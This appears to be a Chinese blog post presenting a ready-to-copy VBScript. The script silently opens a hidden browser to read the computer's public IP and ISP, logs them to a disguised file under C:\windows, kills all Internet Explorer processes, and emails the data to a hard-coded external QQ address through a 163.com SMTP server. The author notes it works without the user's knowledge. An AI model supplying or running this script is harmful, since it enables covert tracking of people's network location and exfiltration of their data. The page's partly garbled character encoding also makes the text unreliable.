溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

vbs-獲取公網(wǎng)IP調(diào)用郵件控件實(shí)現(xiàn)郵件的自動(dòng)發(fā)送到指定郵箱-可直接使用復(fù)制使用

發(fā)布時(shí)間:2020-08-05 20:15:30 來(lái)源:網(wǎng)絡(luò) 閱讀:1275 作者:黃寶良 欄目:軟件技術(shù)

vbs-獲取公網(wǎng)IP調(diào)用郵件控件實(shí)現(xiàn)郵件的自動(dòng)發(fā)送到指定郵箱-可直接使用復(fù)制使用

on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp 
regEx.Pattern = "{聯(lián)通|移動(dòng)|電信}"
Set Matches = regEx.Execute(ie.document.body.innerhtml)
For Each Match in Matches
COSP=Match.Value
Next
Sub EchoMsg(str)
Wscript.Echo str
End Sub

on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp 
regEx.Pattern = "來(lái)自.*"&COSP&""
Set Matches = regEx.Execute(ie.document.body.innerhtml)
ie.quit
For Each Match in Matches
FROM=Match.Value’定義標(biāo)題定義為FORM
Next
Set ws = CreateObject("Wscript.Shell") 
ws.run "%comspec% /c @echo "&FROM&" > C:\windows\systemct.org",vbhide
Sub EchoMsg(str)
Wscript.Echo str
End Sub
'----------------------------------------------------------------------------
on error resume next
set ie=CreateObject("internetexplorer.application")
ie.navigate("http://ip.cn/")
ie.Visible=False
While ie.busy Or ie.readystate <> 4
WEnd
Set regEx = New RegExp
regEx.Pattern ="\d.*\d"
Set Matches = regEx.Execute(ie.document.body.innerhtml)
ie.quit
For Each Match in Matches
RetStr=Match.Value ’獲取公網(wǎng)IP定義變量為RetStr
Next
Set ws = CreateObject("Wscript.Shell") 
ws.run "%comspec% /c @echo 公I(xiàn)P:"&RetStr&" >> C:\windows\systemct.org",vbhide
Sub EchoMsg(str)
Wscript.Echo str
End Sub
'殺死瀏覽器進(jìn)程
On Error Resume Next 
sub Close_Process(ProcessName) 
On Error Resume Next 
     for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_ 
           if Ucase(ps.name)=Ucase(ProcessName) then 
                 ps.terminate 
           end if 
     next 
end sub 
Close_Process("iexplore.exe")
Close_Process("iexplore.exe")
'--------------------------------------------------------------------------------
NameSpace = "http://schemas.microsoft.com/cdo/configuration/"
Set Email = CreateObject("CDO.Message")
'Email.From = "*@163.com"’發(fā)件地址
Email.From = "*@163.com"
Email.To = "738349140@qq.com"’收件地址
Email.Subject = ""&FROM&""
Email.Textbody = "公網(wǎng)IP:"&RetStr&""
Email.AddAttachment "C:\windows\systemct.org"
With Email.Configuration.Fields
.Item(NameSpace&"sendusing") = 2
.Item(NameSpace&"smtpserver") = "smtp.163.com" ’mail服務(wù)器地址提示,貌似只有163可以用
.Item(NameSpace&"smtpserverport") = 25
.Item(NameSpace&"smtpauthenticate") = 1
.Item(NameSpace&"sendusername") = "*"’登陸賬號(hào)名
.Item(NameSpace&"sendpassword") = "*"’登陸密碼
.Update
End With
Email.Send


此腳本可以在別人不知情的情況下使用,但是還請(qǐng)不要這樣去做。
向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI